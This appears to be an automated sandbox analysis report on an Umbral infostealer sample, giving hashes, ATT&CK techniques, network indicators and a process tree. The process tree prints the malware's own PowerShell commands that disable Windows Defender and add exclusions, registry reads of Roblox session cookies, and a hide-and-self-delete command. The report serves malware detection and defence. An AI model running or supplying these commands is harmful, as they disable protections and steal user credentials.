umbral | e22bde6d04787794012e7e12ceaf1cf8fdf145f81551d90febf6a4f9c5d4e029

Resubmissions

02-11-2024 20:47

241102-zk65faxqfq 10

02-11-2024 20:43

241102-zhqpnsvemg 10

Analysis

max time kernel
138s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
02-11-2024 20:47

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General

Target

GTAGLoader.exe
Size

229KB
MD5

18cb3d1a221a079d9b499f2eec3a3e64
SHA1

5fb17f7e655b5cb79be1099c8ea550ac1f5ace1f
SHA256

e22bde6d04787794012e7e12ceaf1cf8fdf145f81551d90febf6a4f9c5d4e029
SHA512

ca4fdb1e0bbf0d63667d5faa71f691efa4f1a629ca391665d0c361ce84876fc2fd0962b3a2c8bb8735e09931cc4401f912dece4e43f325fa8fe56b5c24630b03
SSDEEP

6144:lloZM9rIkd8g+EtXHkv/iD4uNKIkqNlO+LWU1pAOqb8e1mSi:noZOL+EP8uNKIkqNlO+LWU1pAxQ

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/4104-1-0x000001562F200000-0x000001562F240000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3992	powershell.exe
1904	powershell.exe
3228	powershell.exe
2200	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	GTAGLoader.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
32	discord.com
31	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
400	cmd.exe
4308	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2456	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4308	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3992	powershell.exe
3992	powershell.exe
1904	powershell.exe
1904	powershell.exe
3228	powershell.exe
3228	powershell.exe
3400	powershell.exe
3400	powershell.exe
2200	powershell.exe
2200	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4104	GTAGLoader.exe
Token: SeDebugPrivilege	3992	powershell.exe
Token: SeDebugPrivilege	1904	powershell.exe
Token: SeDebugPrivilege	3228	powershell.exe
Token: SeDebugPrivilege	3400	powershell.exe
Token: SeIncreaseQuotaPrivilege	1600	wmic.exe
Token: SeSecurityPrivilege	1600	wmic.exe
Token: SeTakeOwnershipPrivilege	1600	wmic.exe
Token: SeLoadDriverPrivilege	1600	wmic.exe
Token: SeSystemProfilePrivilege	1600	wmic.exe
Token: SeSystemtimePrivilege	1600	wmic.exe
Token: SeProfSingleProcessPrivilege	1600	wmic.exe
Token: SeIncBasePriorityPrivilege	1600	wmic.exe
Token: SeCreatePagefilePrivilege	1600	wmic.exe
Token: SeBackupPrivilege	1600	wmic.exe
Token: SeRestorePrivilege	1600	wmic.exe
Token: SeShutdownPrivilege	1600	wmic.exe
Token: SeDebugPrivilege	1600	wmic.exe
Token: SeSystemEnvironmentPrivilege	1600	wmic.exe
Token: SeRemoteShutdownPrivilege	1600	wmic.exe
Token: SeUndockPrivilege	1600	wmic.exe
Token: SeManageVolumePrivilege	1600	wmic.exe
Token: 33	1600	wmic.exe
Token: 34	1600	wmic.exe
Token: 35	1600	wmic.exe
Token: 36	1600	wmic.exe
Token: SeIncreaseQuotaPrivilege	1600	wmic.exe
Token: SeSecurityPrivilege	1600	wmic.exe
Token: SeTakeOwnershipPrivilege	1600	wmic.exe
Token: SeLoadDriverPrivilege	1600	wmic.exe
Token: SeSystemProfilePrivilege	1600	wmic.exe
Token: SeSystemtimePrivilege	1600	wmic.exe
Token: SeProfSingleProcessPrivilege	1600	wmic.exe
Token: SeIncBasePriorityPrivilege	1600	wmic.exe
Token: SeCreatePagefilePrivilege	1600	wmic.exe
Token: SeBackupPrivilege	1600	wmic.exe
Token: SeRestorePrivilege	1600	wmic.exe
Token: SeShutdownPrivilege	1600	wmic.exe
Token: SeDebugPrivilege	1600	wmic.exe
Token: SeSystemEnvironmentPrivilege	1600	wmic.exe
Token: SeRemoteShutdownPrivilege	1600	wmic.exe
Token: SeUndockPrivilege	1600	wmic.exe
Token: SeManageVolumePrivilege	1600	wmic.exe
Token: 33	1600	wmic.exe
Token: 34	1600	wmic.exe
Token: 35	1600	wmic.exe
Token: 36	1600	wmic.exe
Token: SeIncreaseQuotaPrivilege	4296	wmic.exe
Token: SeSecurityPrivilege	4296	wmic.exe
Token: SeTakeOwnershipPrivilege	4296	wmic.exe
Token: SeLoadDriverPrivilege	4296	wmic.exe
Token: SeSystemProfilePrivilege	4296	wmic.exe
Token: SeSystemtimePrivilege	4296	wmic.exe
Token: SeProfSingleProcessPrivilege	4296	wmic.exe
Token: SeIncBasePriorityPrivilege	4296	wmic.exe
Token: SeCreatePagefilePrivilege	4296	wmic.exe
Token: SeBackupPrivilege	4296	wmic.exe
Token: SeRestorePrivilege	4296	wmic.exe
Token: SeShutdownPrivilege	4296	wmic.exe
Token: SeDebugPrivilege	4296	wmic.exe
Token: SeSystemEnvironmentPrivilege	4296	wmic.exe
Token: SeRemoteShutdownPrivilege	4296	wmic.exe
Token: SeUndockPrivilege	4296	wmic.exe
Token: SeManageVolumePrivilege	4296	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4104 wrote to memory of 2332	4104	GTAGLoader.exe	84
PID 4104 wrote to memory of 2332	4104	GTAGLoader.exe	84
PID 4104 wrote to memory of 3992	4104	GTAGLoader.exe	86
PID 4104 wrote to memory of 3992	4104	GTAGLoader.exe	86
PID 4104 wrote to memory of 1904	4104	GTAGLoader.exe	89
PID 4104 wrote to memory of 1904	4104	GTAGLoader.exe	89
PID 4104 wrote to memory of 3228	4104	GTAGLoader.exe	93
PID 4104 wrote to memory of 3228	4104	GTAGLoader.exe	93
PID 4104 wrote to memory of 3400	4104	GTAGLoader.exe	95
PID 4104 wrote to memory of 3400	4104	GTAGLoader.exe	95
PID 4104 wrote to memory of 1600	4104	GTAGLoader.exe	99
PID 4104 wrote to memory of 1600	4104	GTAGLoader.exe	99
PID 4104 wrote to memory of 4296	4104	GTAGLoader.exe	102
PID 4104 wrote to memory of 4296	4104	GTAGLoader.exe	102
PID 4104 wrote to memory of 2888	4104	GTAGLoader.exe	104
PID 4104 wrote to memory of 2888	4104	GTAGLoader.exe	104
PID 4104 wrote to memory of 2200	4104	GTAGLoader.exe	106
PID 4104 wrote to memory of 2200	4104	GTAGLoader.exe	106
PID 4104 wrote to memory of 2456	4104	GTAGLoader.exe	109
PID 4104 wrote to memory of 2456	4104	GTAGLoader.exe	109
PID 4104 wrote to memory of 400	4104	GTAGLoader.exe	111
PID 4104 wrote to memory of 400	4104	GTAGLoader.exe	111
PID 400 wrote to memory of 4308	400	cmd.exe	113
PID 400 wrote to memory of 4308	400	cmd.exe	113

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2332	attrib.exe

C:\Users\Admin\AppData\Local\Temp\GTAGLoader.exe
"C:\Users\Admin\AppData\Local\Temp\GTAGLoader.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4104
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\GTAGLoader.exe"
  2⤵
  - Views/modifies file attributes
  PID:2332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\GTAGLoader.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3400
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1600
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4296
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2200
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2456
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\GTAGLoader.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
35967cf5ed9a95ec4fe527dd96567a02

SHA1
6a7439c241a30ec540d5d204e02a4cbb2a464737

SHA256
4394552922777081d43fb523126cf176d5a676602a5435713320942034f6b3cf

SHA512
419b3c336a67ef964bc166d1267cea146ed5878f98304d6e39fb9a3c0394d75693810a9ddc101cdda5e3196ad7d603df01a3260705cf9ef7cf8d4b252df01f45

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
1a58f982c18490e622e00d4eb75ace5a

SHA1
60c30527b74659ecf09089a5a7c02a1df9a71b65

SHA256
4b7f800c0dea209162cc86627983993127eb20e3f8616646c41cb3ce15d9b39d

SHA512
ddab516a967783c5951717853aa5b3ef6dd5b442db50092888b2e7f3179fc68120fcde69a08d6ab280740eaadb6eadfc758c3118b52706f869e48ac1aebda480

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d3235ed022a42ec4338123ab87144afa

SHA1
5058608bc0deb720a585a2304a8f7cf63a50a315

SHA256
10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27

SHA512
236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
77fad1dec6867fb7dd395c25c46d8ae5

SHA1
abfecfd6c63bb35ec88d98ef210adefc139d793e

SHA256
02b0ab469998ac630b421de245ee243599422e7f2c2f9714085fc5b837891784

SHA512
ac8d9d660992d076e46ffdb7422d4916789a7ca2f5737c711449f518745dee197ed1c08e50f81f92cb7d2d1ea94fe024e77a8295e1be05c5a49a0fd7495776d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_macvc3x3.2yt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3992-9-0x000001A2C24E0000-0x000001A2C2502000-memory.dmp

Filesize
136KB

Download
memory/3992-14-0x00007FFE30870000-0x00007FFE31331000-memory.dmp

Filesize
10.8MB

Download
memory/3992-15-0x00007FFE30870000-0x00007FFE31331000-memory.dmp

Filesize
10.8MB

Download
memory/3992-18-0x00007FFE30870000-0x00007FFE31331000-memory.dmp

Filesize
10.8MB

Download
memory/3992-3-0x00007FFE30870000-0x00007FFE31331000-memory.dmp

Filesize
10.8MB

Download
memory/4104-34-0x0000015649840000-0x0000015649890000-memory.dmp

Filesize
320KB

Download
memory/4104-33-0x00000156499D0000-0x0000015649A46000-memory.dmp

Filesize
472KB

Download
memory/4104-35-0x000001562F6D0000-0x000001562F6EE000-memory.dmp

Filesize
120KB

Download
memory/4104-1-0x000001562F200000-0x000001562F240000-memory.dmp

Filesize
256KB

Download
memory/4104-0-0x00007FFE30873000-0x00007FFE30875000-memory.dmp

Filesize
8KB

Download
memory/4104-72-0x000001562F710000-0x000001562F71A000-memory.dmp

Filesize
40KB

Download
memory/4104-73-0x0000015631010000-0x0000015631022000-memory.dmp

Filesize
72KB

Download
memory/4104-2-0x00007FFE30870000-0x00007FFE31331000-memory.dmp

Filesize
10.8MB

Download
memory/4104-93-0x00007FFE30870000-0x00007FFE31331000-memory.dmp

Filesize
10.8MB

Download